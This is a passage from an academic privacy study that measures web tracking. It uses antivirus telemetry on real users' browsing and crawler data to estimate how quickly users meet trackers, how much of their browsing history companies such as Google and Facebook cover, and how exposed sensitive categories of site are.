collected from October 14th to 21st of 2019. The data includes
a code that reports the country registered by the user when
installing the AV software, a daily log with the list of domains
browsed by each user, and the hour in which the request was
performed. Overall, we count 2.35M distinct websites (0.8%
were not accessible or offline), which finally accounted for
107M entries in the users’ browsing history.

3.2 Website trackers
We identify the trackers that exist on the websites in our
dataset through a custom crawling framework. Note that,
to further preserve the privacy of the users, the necessary
tracking-relation information is collected without any human
intervention and nothing else related to the content of the
website is collected. The framework has been developed
in the first months of 2020, and run in early July 2020. The
crawler is based on the open-source web browser Chromium
and uses a custom instrumentation developed by using the
Chrome debugging protocol (CDP) [11]. By connecting
into its network tracing processes, we gather all the requests
and responses performed by the browser during a web
access. In order to avoid possible detections of our automated
browser, we implemented the most recently-proposed meth-
ods [14,51–53], also leveraged by other recent studies [47,62].
When third-party scripts were loaded into each page we
analyze the request, extract the destination domain and verify
that the loaded entities were actually trackers by leveraging the
tracker list used by Mozilla Firefox [37], and EasyPrivacy [15].
The two monitor different forms of tracking, such as web
bugs, tracking scripts, and information collectors. Once
the tracking domains are identified, we map the domain
names to organizations based on three manually-curated lists:
Disconnect [13], WhoTracks.me [12] and webxray [31].

We scanned the 2.33M websites in our telemetry using
a server located in the US and discovered 6,320 distinct

Table 1: Comparison summary between trackers detected
crawling websites from US and France, Brazil and Australia

US
Country Same trackers ±1 tracker IoU >0.8 IoU <0.2
France 84.42% 5.52% 0.46% 4.97%
Brazil 79.28% 6.84% 1.14% 4.56%
Australia 77.20% 8.04% 1.84% 4.04%

tracker names. To account for tracker variability due to
geographic locations, we deployed additional crawlers in
three different countries from three continents. For this, we
leverage a commercial VPN service [6]. Specifically, we
looked at browsing histories of users from France (6213),
Brazil (5152), and Australia (5603), and crawled 130.70K,
67.81K, and 126.73K websites from the respective country.
We report the results and compare them with the data collected
from the US in Table 1. We found that on average 80.3%
of the websites include exactly the same trackers, while
another 6.9% has only one additional tracker. To obtain further
insights into the remaining websites that have more than
one different tracker (∼12%), we compute the intersection
over union (IoU) coefficient between the two sets of trackers
obtained by crawling from US and the respective location:
the rationale is that a result close to 1 (e.g., >.8) refers to very
similar organization lists; on the other hand, a value close
to 0 (e.g., <.2) implies the opposite. We finally assess that
around 95.5% of the websites show no or subtle differences
in the trackers detected, whereas we detect a diverse tracking
ecosystem only on a very small subset of 4.5% domains. We
dedicated appendix A to discuss the implications that the
geographic location of the crawler has on our overall findings.

3.3 Website categories and risk
By using the public classification service from the same
security vendor detailed in Appendix C, we were able to assign
a category to the websites in our telemetry. To better investigate
the impact of tracking and the prevalence of different trackers
on websites that could be related to user’s sensitive informa-
tion, we selected a set of sensitive categories: Health, Legal,
Financial, Sexuality, Political, and Religion. Our decision
was guided by categories defined as sensitive in various data
protection laws [17, 18, 28], and used in recent studies [32, 48].
Finally, we additionally assigned a security-related risk level to
each distinct website in the telemetry by leveraging the rating
service from the security vendor described in Appendix D.
For a given domain, the service outputs a score between 1
(completely safe) and 10 (certainly malicious).

3.4 Tracker relationships
A previous study [49] investigated the relationships among
810K actors during the creation and sharing of cookies
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through cookie chains. In particular, the authors shed light on
the role of those acting as dispatchers of information, receivers,
or cookies direct creators.

We manually extracted the dependency relationships of the
top trackers from the linkage graph and its related table in their
manuscript, and used them to evaluate information sharing
between a sender and a receiver organization. In this measure-
ment, we assume that this happens in all the cases, i.e., the for-
mer always shares any data with the latter: although for many
of the relationships this does not match the reality —trackers
share part of the information and not for all the webpages—,
in our discussion we consider it as an upper bound in order
to evaluate the worst-case scenario for some of our findings.

4 Dataset Statistics

The users in our telemetry span 214 of the 249 countries with
an assigned ISO 3166-1 code [2]. More than 44% of the users
are located in North America (with 38% of them in the United
States). Asia and Europe follow with about 20% of the users
each. In South America, Africa and Oceania we find the lowest
percentages (less than 17% overall). We report the complete
geographical breakdown in Table 9 in Appendix B.

On average, the median user is active slightly less than 6
days out of 8, and for a number of hours per day that ranges
from 3 to 10. We report a graphical summary of users’ activity
in terms of mean browsing days and hours in Appendix E.

We further look at the aggregated users’ browsing behaviors
in our dataset: we detect that on average during the 8 days,
users present a history with 406 entries, browse 19 distinct
categories, 118 different webpages, visit more than once
59 of them, and encounter 3,170 trackers from 177 distinct
organizations. Additionally, we measure that 93% of them
have less than 10 trackers, and for a single webpage visited,
users encounter on average 3.5 different trackers.

In Table 2 we provide a summary of both sensitive and
top-10 categories in our dataset, sorted by the number of
websites they encompass. Webpages related to users’ Health
are the most frequent among the sensitive categories, also
reporting the longest list of trackers encountered (34% of the
6,320 trackers). On the contrary, the Political category, the
smallest among the sensitive category in terms of number
of websites, visiting users, and different trackers detected,
shows the highest average of trackers. This suggests that fewer
organizations focus on political websites but more consistently.
We will come back to this comparison in Section 6, when we
will discuss in more detail which and how much sensitive infor-
mation the different trackers can obtain about users. Regarding
the other, non-sensitive, categories almost the totality of users
browse websites classified in the Technology/Internet and
Business/Economy groups: we indeed detect in the pages of
these two categories almost 50% of the tracking organizations.

We finally analyze the coverage of the top 20 trackers
in our dataset, reporting the percentage of known history,

Table 2: Overview of sensitive (above) and top-10 (below)
categories in our dataset

Category
Websites

%
Trackers

Avg
Trackers

%
Users

%

Health 4.89 10.80 34.78 33.89
Sexuality 2.89 2.82 24.75 17.97
Financial 2.00 7.77 29.11 53.86
Legal 1.95 2.64 19.73 34.62
Religion 1.91 8.29 20.41 19.84
Political 0.52 14.25 16.66 11.58
Business/Economy 11.62 8.64 48.94 83.30
Technology/Internet 6.55 9.36 46.06 99.18
Shopping 6.37 14.52 38.32 58.56
Education 4.44 7.01 30.97 50.68
Suspicious 3.79 1.45 28.84 40.49
Entertainment 3.47 13.84 40.41 53.34
Travel 2.76 8.27 31.33 33.36
Search Engines 2.43 3.43 26.41 94.32
Restaurants/Food 2.24 18.90 27.07 21.85
Personal Sites 2.18 8.90 26.61 19.66

websites and users who encounter them in Table 3, together
with the average values for all the trackers. We point out to the
reader the subtle difference between two recurrent concepts
throughout the manuscript: when computing the known
history percentage by a tracker, we refer to the portion of
entries in our telemetry in which we detect the tracker —thus
also considering revisited websites across hours and days. On
the contrary, when reporting the known website percentage,
we only consider the fraction of unique website IDs —i.e., we
do not take into account revisited webpages.

At a glance, Google clearly stands out, being directly present
in almost 73% of the websites in our dataset. The other top-20
tracking organizations cover on average 15.27% of users’
history and 8.45% of the websites. From the users’ perspective,
almost all of them encounter at least once one of the top organi-
zations in Table 3. Interestingly, while the average number of
users reached by a single tracker is 3%, we measure that almost
the totality encounters at least one tracker. The few exceptions
– 419 users corresponding to 0.16% of the total – have a clean
and not-tracked history. However, the small number together
with the fact that those users only browsed an average of two
different websites in 8 days, suggests that in practice everyone
who browses the web is tracked to some extent.

It is also interesting to observe the difference between the
two middle columns, i.e., the coverage in terms of unique
websites and the one in terms of entries in the users’ browsing
history. Google is the only tracker in which the first is bigger
than the second, meaning that it is the only company that also
covers many less popular websites that do not receive many
visits. Microsoft is instead an example of a company that seems
to focus mostly on popular sites, as shown by the fact that its
history coverage is more than five times the one of websites.
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Table 3: Coverage overview for the top-20 companies involved
in tracking in our dataset. The percentage of users’ history
(websites) without any trackers is 20.07 (23.11).

Tracker % History % Websites % Users
Google 63.07 72.33 99.76
Facebook 30.05 26.53 98.33
Microsoft 22.97 4.11 97.56
Adobe 19.92 7.83 97.42
Appnexus 18.91 5.27 97.58
Yahoo! 17.36 5.33 97.05
Twitter 16.73 6.10 96.85
Rubiconproject 15.16 4.52 96.79
Thetradedesk 14.54 3.61 96.37
Rapleaf 13.92 4.19 96.12
Casalemedia 13.68 4.26 96.61
Pubmatic 13.30 4.08 96.45
Openx 13.09 4.16 96.40
Mediamath 12.69 2.49 96.56
Drawbridge 12.41 3.30 94.39
Amazon.com 12.00 2.69 95.14
Akamaitechnologies 11.53 1.11 95.48
Linkedin 11.33 2.09 94.13
Quantcast 10.84 3.68 95.81
Taboola 9.65 1.45 94.24
Average 0.14 0.06 3.00
Untracked 20.07 23.11 0.16

4.1 Dataset Limitations

Although our telemetry is large and contains hundreds of
thousands of users from almost every region in the world, it
may still be subject to some selection biases. For instance, it
only includes users who protected themselves by installing
an AV product and opted in to share their data: users who
decided not to opt-in due to privacy concerns could behave
differently, being more conscious with respect to tracking and
high-risk websites. Furthermore, our entire telemetry comes
from Windows machines. It is possible that users running
other OSes (e.g., macOS and Linux) or browsing through
mobile devices may exhibit a different behavior. Moreover,
our data covers only 8 days of users’ browsing experiences.
As we will discuss in the following sections, users encounter
the vast majority of the trackers already in the first day of
browsing. Therefore, it is very unlikely that the final results
would significantly get impacted with more data.

5 Standing in users’ shoes

We start our analysis of web tracking by looking at the trends
from the users’ perspective. Our goal is to use our telemetry
information to estimate how much, and how fast, real users
encounter web trackers during their daily activity. We are also
interested in finding whether some users are more exposed
than others, or whether a certain class of online behavior leads
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Figure 1: Cumulative and daily distribution of new trackers
encountered per hour of activity. For the jth daily curve, the
ith hours close to the boundary with the next day refer to users
active i hours in the jth day —thus active almost all the jth day.

to higher or lower privacy risks.

5.1 How long does it take for a user to encounter
trackers?

To answer this first question we investigate the relationship
between the time a user spends browsing the Web and the
number of new trackers she encounters. To this end, we
initialize a cumulative tracker set for each user. Then, for each
cumulative ith hour spent browsing, we add the new trackers
encountered to the set and register its length variation from
the previous time interval. Each ith point of the blue curve in
Figure 1 is then obtained by averaging the ith values of all the
users active at least i hours.

In a similar way, we maintain also a daily set for each user.
For every jth day, we add new trackers and register variations
as for the cumulative case. We finally compute each of the ith

points for a jth daily curve in Figure 1 by averaging the values
of users active at least i hours in the jth day. We do not include
the daily plot of the 8th day in our telemetry because our data
does not cover all its 24 hours.

The analysis of Figure 1 provides three important findings.
First, the curve of new trackers per hour of activity follows a
decreasing exponential distribution, with a drastic drop in the
first 12 hours. Indeed, the average of new trackers encountered
falls below 5 after 12 hours, below 2 after 22 hours and users
encounter almost no new tracker after 35 hours of activity.

Another way to look at this data is to compute how many
hours it takes for users to encounter a given percentage of all
the trackers they encountered during the week under analysis
(on average 177 trackers per user). In this case, on average after
2, 12, and 24 hours of activity users have already encountered
respectively 50%, 84%, and 94% of their trackers.

The second interesting finding is that given a window of
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i hours (e.g., 24), users who are active for more consecutive
hours encounters a higher number of trackers with respect
to the others. This discrepancy is clearly visible in Figure 1,
when comparing the first part of the cumulative curve with
the daily curve of the first day.

For instance, we can consider two users that both have three
hours of activity over a 24h window. The first browses the Web
in three separate sessions of one hour each – in the morning,
afternoon, and evening. The second browses instead for three
hours straight in a single session. In our experiments, we
noticed that the second user is more likely to encounter a higher
number of unique trackers. And the reason is that sessions that
are far apart are more likely to have larger intersections in the
visited websites. In other words, the likelihood of revisiting the
same websites and running into already encountered trackers
is higher in those cases. On the contrary, users characterized
by longer browsing sessions show higher variability in the
websites and trackers encountered.

The third observation we can make from Figure 1 is that all
daily curves have really similar shapes, with a sudden decrease
in the number of new encountered trackers in the very first
hours. This suggests that, even if the user would restart with
a clean browsing history every day, it would only take two
hours on average to re-encounter 50% of all trackers. In other
words, if a user encounters on average 177 different trackers
per week, half of them are regularly encountered every day
within the first two hours of web browsing.

So far we have captured the users’ activity by counting
the time they spend browsing. Another way to do that is to
count the number of visited sites. The trend of how the newly
encountered trackers evolves for each new website visited
is summarized in Figure 2. The points on the blue curve are
obtained by averaging the number of new trackers encountered
for the ith new visited website, among users who browse at
least i distinct websites. The distribution in Figure 2 shows
a similar trend of the corresponding cumulative curve when
considering the hours of activity (Figure 1). The exponential
shape has a maximum at 9 — suggesting that users encounter
more than the average of 3.5 trackers when visiting the very
first website, probably indicating a popular page with multiple
trackers—, and quickly drops: after 20 different websites, users
only encounter on average 2 new trackers. When computed in
percentages, our data shows that by visiting 22, 100, and 300
distinct websites, the trackers encountered are respectively
50%, 75%, and 85% of the total encountered over the week.

However, this represents a best-case scenario that considers
each tracker in isolation. In reality, trackers also exchange
data with one another. Therefore, we complement our
analysis by plotting a second curve, but this time considering
the relationships among the different actors indicated in
Section 3.4. In this case, when we add a new encountered
tracker to the set, we also add all other trackers that directly
receive information from it [49]. This curve, in orange in the
graph, represents a worst-case scenario. In fact, the fact that
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Figure 3: Correlation trend between the number of visited
websites and encountered trackers

a relationship exists between two trackers does not imply that
the two companies share all data about all users on all websites.
Therefore, reality lies somewhere in between the two curves.

Even in the worst-case scenario, it is interesting to observe
that the data shared among trackers exposes the users to
a higher number of tracking companies for the first few
visited websites. However, after around 20 websites the two
curves overlap, showing that at that point the number of new
trackers encountered by the user is independent from possible
collaborations among trackers.

Summary: users find half of the trackers they are going to
find during the full week just in the first hours and website
visits (this pattern happens every day). Moreover, users
who are active for more consecutive hours, tend to find a
more variety of trackers.
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Figure 4: Website reputation distribution for UO and LO. The
difference between the means in the two groups is significantly
different (Welch′st=113.06,p<0.001).

5.2 Is there a correlation among distinct visited
websites and encountered trackers?

We now look at the correlation between the total number of dis-
tinct websites visited by a user and the number of encountered
trackers. In particular, we are interested in finding (and compar-
ing) those users that encounter a disproportionate number of
trackers despite visiting a few websites, and those that instead
encounter a few trackers while visiting many different pages.

To begin with, we compute the two attributes (distinct web-
sites and distinct trackers) and plot them for each user in Fig-
ure 3: a point (x,y) on the red curve represents the average num-
ber y of trackers encountered for users who visit x different web-
sites, and the green area defines the 95% confidence interval.

The total number of visited websites positively correlates
with the trackers encountered (Pearson Correlation Coefficient:
0.98, p<0.001). However, Figure 3 exhibits two classes of out-
liers, whose attributes fall out outside the confidence interval
boundaries. Specifically, we define Upper Outliers (UO) those
with an abnormal-higher ratio between encountered trackers
and visited websites (blue dots in the picture, users that en-
counter a lot of trackers while not visiting many websites). On
the contrary,we report in orange the Lower Outliers (LO) (users
that browse a lot but encounter less trackers), for which this ra-
tio is lower than the average and outside the confidence interval.
The UO and LO sets contain respectively 6,726 and 5,552 users,
which together account for 4.6% of the users in our dataset.

To investigate whether any significant difference exists
in the websites visited by the two groups of outliers, we use
two metrics: popularity and security risk score. We compute
the popularity of each website in our telemetry by simply
considering the number of times it appears in different users’
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Figure 5: Website risk score distribution for UO and LO The
difference between the means in the two groups is significantly
different (Welch′st=432.41,p<0.001).

browsing histories. This score is conceptually similar to the
reputation returned by online rating services [3–5, 7], and it
is strictly related to the data in our experiment.

Given a popularity x, we separately plot for each group
the sum of visits that each distinct website with reputation x
receives (Figure 4). We next compute the weighted average
for UO and LO according to the following criterion:

Wavg=
∑

max_reput
reput=1 reput∗visits(reput)

sum(visits)

The two averages, represented by the vertical lines in the
figure, show that users that encounter fewer trackers (LO
group) are indeed visiting less popular websites. Instead, users
who browse fewer websites but encounter on average more
trackers mainly visit popular web pages: this is the case, for
instance, of very popular news websites, social media, and
online marketplaces, which incorporate a large number of
advertisers, and a myriad of analytics services. For those users
within the green zone in Figure 3, the reputation score falls
between the one of UO and LO (i.e., 3,997), confirming our
hypothesis that reputable sites are more tracked.

To compute the security risk score we leverage the website
risk score provided by the AV vendor. Then, for each set of
users, we split the websites they visited according to their risk
value, and plot a histogram with the percentage of the total
history they account for (Figure 5). The figure also includes
the weighted average of both groups, computed by following
the same procedure described for Figure 4. The plot shows
that users in the UO group mainly browse benign websites.
In our dataset, not a single website visited by these users had a
rating that classifies it as either suspicious or malicious (>=6).
On the other end of the spectrum, users in the LO group visit
a larger percentage of dangerous sites. Similarly, the users in
the green zone visit websites with low-risk scores however
slightly higher than those UO users (2.6 risk score).
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Table 4: Zero-Tracker website percentage and risk score for
top and bottom 0-tracker categories

Category
trackers

% with zero
risk
Avg

Malicious Outbound Data/Botnets 90.23 9.40
Business/Economy 70.45 3.93
Potentially Unwanted Software 56.75 7.00
Spam 56.21 7.00
Placeholders 55.81 6.00
Suspicious 53.41 7.58
Scam/Questionable/Illegal 49.24 7.35
Email 43.69 4.47
Malicious Sources/Malnets 42.89 9.99
Social Networking 12.92 4.09
E-Card/Invitations 12.69 3.44
Informational 12.39 3.93
Alcohol 12.11 4.03
Translation 12.02 3.29
Restaurants/Food 11.85 4.19
Charitable Organizations 11.78 3.95
News/Media 10.93 3.77

Overall, we found that websites that include no trackers
are often less popular and characterized by a higher security
risk. Table 4 reports the top and bottom website categories,
sorted by the percentage of webpages in which we do not
detect any trackers. The top categories show a considerably
higher risk score (6.96 on average) than the bottom (3.90 on
average) suggesting that the former often present suspicious
or malicious content rather than the latter (confirmed also by
the category names). A clear exception in the top half of the
table is represented by the Business/Economy category, which
is both low-risk and low-tracking. This category represents
websites devoted to businesses (including information and
management) that are not linked to any selling activity. Taking
this into account, a possible explanation is that websites in this
group are directly related to customers or employees, so they
do not include any type of tracking.
Summary: the more a user stays away from dubious
websites, the more trackers she encounters. On the opposite,
users that spend more time on less popular and high-risk
sites are more exposed to security risks but less exposed
to tracking.

5.3 How Frequently do Users Encounter the
Same Trackers?

So far we only looked at how often users encounter new track-
ers. But the key point of tracking is identifying the same user
across different websites. So, if a user encounters a specific
tracker only once a day, then deleting its cookie at the end
of the browsing session could prevent the tracker to connect
the different visited sites. It is clearly possible that some
trackers perform some type of browser fingerprinting [24] in
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Figure 6: Percentage of trackers deleted according to the
frequency (browsing hours and days) of cookie cleaning.
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Figure 7: Percentage of trackers deleted according to the
frequency (browsed websites) of cookie cleaning.

order to be able to track users around. In these cases, deleting
cookies would not avoid tracking. However, as cookies are
still the de-facto tracking method on the web [49], we wanted
to investigate how effective the cookie cleaning option could
be to improve users’ privacy posture.

To better understand this aspect we looked at how frequently
each tracker was encountered by each user. In Table 5, we re-
port the percentage of users for which the top-5 most recurrent
trackers appear with a frequency lower than 2 hours. Google,
for instance, is encountered on average every 1.11 hours. This
means that to fully prevent the largest company in our dataset
from being involved in tracking practices, a user should delete
the cookies after every single browsing hour, which is obvi-
ously not realistic. Figure 6 and Figure 7 respectively report
the cumulative distributions for a time-based and site-based
perspective. The plots show that 50% of the trackers are
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Table 5: Top-5 trackers according to the frequency (browsing
hours) of appearance. % Users refers to users for which the
tracker appears with a frequency < 2 browsing hours.

Tracker % Users
(hours)

Avg frequency

Google 80.41 1.11
Microsoft 67.61 1.29
Twitter 67.18 1.41
Yahoo! 66.25 1.43
Rubiconproject 62.68 1.44
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Figure 8: Possible browsing history gain through collaboration

repeatedly encountered every 8 hours or 60 websites. In other
words, if the cookies are cleaned up every 8 hours or after 60
website visits, only half of the trackers could be prevented from
tracking. However, cookie cleaning is clearly not an absolute
solutions for those privacy conscious users who do not want to
be tracked by any means: this practice is not effective against
big players that can know much more and are encountered
much frequently (on average every 1.34 browsing hours).
Summary: Users encounter on average 177 trackers during
one week. In addition, 18.31% of the users encounter track-
ers every hour and 1.73% encounter trackers every website.

6 The Knowledge of Trackers

In the previous section, we have seen that the average users
encounter 84% of the trackers within just half a day of web
browsing. While this is very concerning for the privacy of Inter-
net users, the impact on their privacy might not be as significant
and worrying unless those trackers can compromise a signif-
icant fraction of the users’ browsing history. In this section,
we take a closer look to estimate how much information about
users is known (or potentially known) by those trackers. We
first assess to what extent main trackers on the visited websites
know about the users’ browsing histories, and then how much
additional coverage they could gain by sharing information
among one another. We also investigate the type of information

that could be learned about the identity of users through
regularly browsing particular types of websites. Finally, we
conclude the section with an optimal tracking strategy analysis.

6.1 How much do trackers know about you?
For each tracker we identified in our dataset, we computed the
average fraction of browsing history known, the percentage
of websites in which they are present, and also the fraction
of users who encounter them. On average, each tracker tracks
3% of the users and knows 0.14% of their browsing history.
However, the top trackers (such as Google, Facebook, and
Microsoft) are quite far from the average. In fact, they are
able to track nearly all users, as can be seen from Table 3, and
they know on average 47% of each user’s browsing history.
Google alone, which is the biggest player in the tracking
ecosystem, covers 64% of the average users’ history logs.
The percentage increases to 80% for 9.73% of the users, and
reaches a stunning 100% for 2% of them.
Summary: Large trackers know, on average, nearly half of
the browsing history of almost all users. For roughly 10%
of the users in our dataset Google alone was tracking over
80% of the visited websites.

6.2 How much can trackers know about you
through collaboration?

Collaboration among trackers is not a new phenomenon [19,41,
49]. It allows them to merge the user data with another tracker,
reconstructing users’ browsing history, and bypassing the
same-origin policy [60]. In order to do it, tracking companies
can use multiple methods, with cookie sharing/synchroniza-
tion being the most common one. For example, a tracker
can include its cookie in the request of another third party,
facilitating an information-sharing channel even if not directly
present in that specific website. Our goal here is to estimate
the concrete impact of such collaborations on users’ browsing
history, which was not explored before by other studies.

In the previous section, we have seen that with the exception
of Google, none of the other trackers knows more than 30 per-
cent of the average user’s browsing history. Clearly, if Google
shared its knowledge with any other tracker, they could also
achieve similar coverage. However, this is not a very realistic
scenario from a strategic point of view. On the other hand,
collaboration among smaller players in the ecosystem might
make more sense. Therefore, to understand how much informa-
tion trackers could gain through collaboration, we calculated
the browsing history gain for all possible pairs of companies
among the top 20 trackers in our dataset and plotted the percent-
age of gain versus known history percentage in Figure 8. If the
two companies were already known to collaborate according to
previous measurements [49], we colored them in orange. If you
remove the top three players, in general most trackers over the
top 20 can know between 10 and 20% of the browsing history
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Table 6: Upper (Lower) part: top and bottom 5 relationships sorted by ascending overlapping (descending gain)

(Receiver)
Tracker A

(Sender)
Tracker B

Tracker A
Coverage

Tracker A+B
Coverage Gain overlapping

% B

Linkedin Amazon.com 11.33 20.62 9.29 22.57
Amazon.com Linkedin 12.00 20.62 8.62 23.90
Microsoft Google 22.97 70.19 47.22 25.13
Taboola Linkedin 9.65 17.54 7.89 30.40
Linkedin Openx 11.33 20.43 9.10 30.49

...
Rubiconproject Casalemedia 15.16 15.95 0.79 94.21
Casalemedia Openx 13.68 14.43 0.75 94.28
Casalemedia Pubmatic 13.68 14.27 0.59 95.55
Google Facebook 63.07 64.38 1.31 95.65
Appnexus Rubiconproject 18.91 19.54 0.62 95.89
Microsoft Google 22.97 70.19 47.22 25.13
Facebook Google 30.05 64.38 34.33 45.56
Microsoft Facebook 22.97 38.92 15.95 46.91
Adobe Microsoft 19.92 31.79 11.87 48.30
Appnexus Microsoft 18.91 30.27 11.35 50.56

...
Drawbridge Linkedin 12.41 13.24 0.83 92.71
Rubiconproject Casalemedia 15.16 15.95 0.79 94.21
Casalemedia Openx 13.68 14.43 0.75 94.28
Appnexus Rubiconproject 18.91 19.54 0.62 95.89
Casalemedia Pubmatic 13.68 14.27 0.59 95.55
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(c) Appnexus

Figure 9: Known-history percentage distribution of the trackers that directly appear the most in users’ history without (solid line)
and with information sharing (dotted line). The percentage of users’ history without any tracker is 20.07%.

of the users. Through collaboration, they can increase their
knowledge of an additional 5 to 10% (mean gain is 5.3%) in
the best case scenario unless they can collaborate with Google.

In Table 6 we also provide concrete examples for some
of the interesting collaboration options. Similarly, those
collaborations that are known to exist by other means are
marked in gray. The most obvious gain examples come from
the collaboration among the biggest players. Because in
most of the websites in which we observe Facebook, we also
encounter Google (95.65%), Google gains not much (1.31%)
from getting information from Facebook. However, Facebook
could immensely increase its knowledge, up to 64.38%, from

a potential collaboration with Google. Another interesting
observation is that Microsoft and Google do not target similar
sets of websites, therefore a possible collaboration would have
a much larger impact. On the contrary, the overlap among the
top 20 trackers ranges between 23 and 96% (mean overlap of
64%). This clearly indicates that many of them are tracking
users in a very similar set of websites.

Now let’s look at the worst-case scenario, in which we
assume that all trackers that were identified to be sharing
information according to recent studies (see Section 3.4)
collaborate to increase their knowledge as much as possible. In
Figure 9, we provide three examples of how much information
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Figure 10: Known history percentages of the 6 sensitive categories by the top trackers.

can be potentially gained in such a scenario. It is interesting
to see that Microsoft could potentially already know up to 73%
of the users’ browsing history (instead of the 27% it has if it
was completely disconnected from other players). Another
similar spike is observed in Appnexus (from 21 to 73%).
While the gain for Microsoft is mostly due to its relationship
with Google, Appnexus receives information from a variety
of other trackers including Microsoft, Adobe, Yahoo!, and
more. Again, these numbers assume a complete share of all
tracking information among the companies, so in reality the
numbers are likely somewhere in between the two scenarios
(no collaboration and full collaboration).
Summary: Top trackers overlap on 64% of the websites
where they track users. However, they can gain an
additional 5% and 10% in their history coverage through
collaborations. The gain increases to up to 50% if multiple
trackers share data.

6.3 What type of sensitive information can be
obtained about you?

Visiting or regularly browsing particular types of websites
could reveal sensitive information about users. In this part
of our analysis, we focus on websites that could fall into
sensitive categories and check which trackers are present on
those sites and could therefore gain access to private users’
information. In particular, we identified six categories that
are widely considered to be sensitive (see Section 3.3) and we
computed the portion known by top trackers. Figure 10 reports
the averages over the whole dataset. In gray, we represent the
percentage of history in which we do not detect any trackers.

At a glance, we observe that the tracking activity is
not uniform among the six sensitive categories: while the
percentage of untracked history is very low in the Health,
Religion, and Political categories (respectively 12, 15 and
10%), the fraction doubles for the Sexuality, Financial, and

Legal classes (30, 24, 28%).
A first interesting case is the Political category: although it

presents the lowest number of websites and users who browse
it (see Table 2), it turns out to be the category the top trackers
know the most about. In fact, our crawler detects multiple
trackers on average on each of these pages, with top trackers
uniformly present on most of them.

The Legal category results in the opposite case: top
organizations on average know less than 5% of sites in this
category, with the exclusion of Google (69.10%): we measure
an average presence of 2.64 trackers for websites in this group.

More concretely, if looking at the per-tracker details in the
graph, the figure presents similar trends and known history
percentages, except for Google and Facebook. Since in general
Google knows over 60% of the users’ history, it is not very
surprising that it also covers a good fraction of the browsing
history related to the sensitive categories. For example, the
Facebook case is utterly interesting. On the general data, it
only knows up to 30% of the users’ browsing history, which
is in line with other top players. Despite that, it covers almost
60% of the browsing on the Political sector, and around 50%
of the Health category. This seems to indicate that Facebook
puts a particular effort in tracking specific website classes.
On the other side of the spectrum lies Microsoft, which on the
general data has a much larger coverage (over 20%) than its
presence on sensitive website categories.

We also investigate whether the prevalence and tracking of
sensitive websites are uniform across continents. For each of
them, in Table 7 we report the average percentage of browsed
websites per sensitive category together with the average
number of trackers encountered. Results show no substantial
differences across continents and confirm that sensitive infor-
mation about Health, Religion, and Political is more subject
to tracking practices, although their prevalence is very small in
users’ histories. The only comforting difference is observed in
Europe. Very likely thanks to the GDPR, the average number
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Table 7: Sensitive website prevalence and their average number of trackers in users’ history. Values higher than the mean for
all the categories are underlined.

Continent Websites Percentage Average trackers
All Sexuality Health Religion Financial Legal Political All Sexuality Health Religion Financial Legal Political

Africa 6.03 1.74 0.84 0.49 1.45 0.70 0.11 7.01 4.50 10.34 7.50 6.64 2.53 7.53
Asia 5.84 0.96 0.89 0.42 2.07 1.27 0.09 6.96 5.96 14.44 7.31 5.54 1.79 7.39

Europe 5.45 1.91 0.87 0.50 1.80 0.86 0.12 7.12 5.56 7.52 5.87 4.81 2.82 6.10
North A. 5.00 1.27 1.20 0.75 3.12 0.77 0.18 8.55 6.79 12.97 8.68 8.23 3.70 14.69
Oceania 4.85 1.72 1.00 0.52 2.36 0.88 0.11 7.69 6.59 12.47 8.84 6.33 2.60 8.52
South A. 5.38 1.04 1.26 0.42 1.95 1.93 0.14 7.20 6.02 10.06 9.44 4.87 2.23 12.85
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Figure 11: Relationships among sensitive and top categories

of trackers found in websites is lower than others.
As a next step, we investigate how much more information

can be identified about a user’s identity by connecting the
pieces. For example, if a tracker knows that a user follows a
particular political party or religious belief, can we estimate
the likelihood of them knowing also about the user’s travel
plans, health interests, etc? To this end, we build a linkage
graph among the sensitive categories and other website
categories. We consider each user at the time, and isolate the
history containing webpages of the sensitive category (SI)
under analysis from the remaining part (RI) — note that the
group also contains other sensitive categories besides the one
we investigated so far. For each webpage in SI, we extract
the list of trackers and check their presence in the remaining
webpages of RI. Given the list of matched websites, we detect
their categories and increase a counter for each of them. Once
n webpages in SI have been analyzed, we divide each of the
category counters by n, obtaining a ratio. For a single user,
a ratio close to 1 between a sensitive category a and another
one b means that, each time we encounter a website in a, the
trackers also know that the user visited b.

We plot the resulting linkage graph in Figure 11. Node
sizes represent the percentage of history that falls in the
category: the biggest category is Technology/Internet (39%
users’ history), the smallest is Political, accounting for 0.13%.
Each edge between two nodes expresses the average category
correlation for all the users in our dataset. To increase the
readability, the graph only includes the sensitive and the most
prominent ten categories that have at least one ingoing edge
with a weight greater than 70%. We observe that the strongest
correlation percentage (95.55%) holds between Political and
Technology/Internet, while the weakest (70.01%) between
Legal and Chat (IM)/SMS.

We also see that some categories are much less connected
with the others. For instance, Sexuality and Financial have very
few connections with other categories, and those connections
are very small. On the other hand, Political has many strong
connections with many other categories found in the dataset.
In the middle, we find cases like Health, Religion and Legal,
that despite having more connections than the first two,
only have a couple of strong connections with others. We
also verify how the linkage graph varies according to users’
geographical location, and find that relationships are stable
across continents except from Asia, in which we see Health
has stronger connections than Political.

Another interesting point is that sensitive categories do not
seem to have many connections among them. However, we
have to note that not having a direct connection in the graph
does not necessarily indicate that trackers could not connect
them through their relations to other common categories.
For example, both Political and Health are connected to
Potentially Adult, which could be used as a hub.

Summary: The trackers coverage for sensitive categories
ranges between 10 and 30%. Even if these categories
are not connected much between one another, some are
strongly connected to other general categories such as
Potentially Adult or Entertainment. Some trackers seem to
focus on some particular sensitive categories and have 30%
more coverage in those categories than on other websites.
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Table 8: Top-10 prevalence in the 5K key-websites: trackers
(left) and categories (right)

Tracker
websites
% key

Google 66.04
Facebook 35.50
Adobe 21.54
Appnexus 19.02
Yahoo! 18.44
Microsoft 17.04
Rapleaf 16.00
Thetradedesk 15.56
Drawbridge 15.50
Rubiconproject 14.90

Category
websites
% key

Technology/Internet 22.96
Business Economy 12.94
Shopping 6.60
News Media 5.82
Travel 5.04
Entertainment 3.90
Games 3.20
Suspicious 3.04
Financial Services 3.02
Education 2.70
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Figure 12: Optimal tracking strategy on key-websites vs
top-3-tracker strategy on their top-5K websites

6.4 What is the optimal tracking strategy?

Earlier in this section, we have made estimations on how much
browsing history knowledge could be obtained through collab-
oration among trackers, concluding that unless collaboration
happens with Google, it is hard to gain a significant fraction of
the browsing histories. An alternative option for the trackers
to achieve the same goal is to plant themselves on key websites.
For an optimal tracking strategy, the trackers need to build
a list of popular websites such that the minimum number of
them is required in order to cover a certain percentage of the
whole users’ history. To assess the effectiveness of this option,
we created a sorted list of the 5K most reputable websites,
according to the definition provided in Section 5.

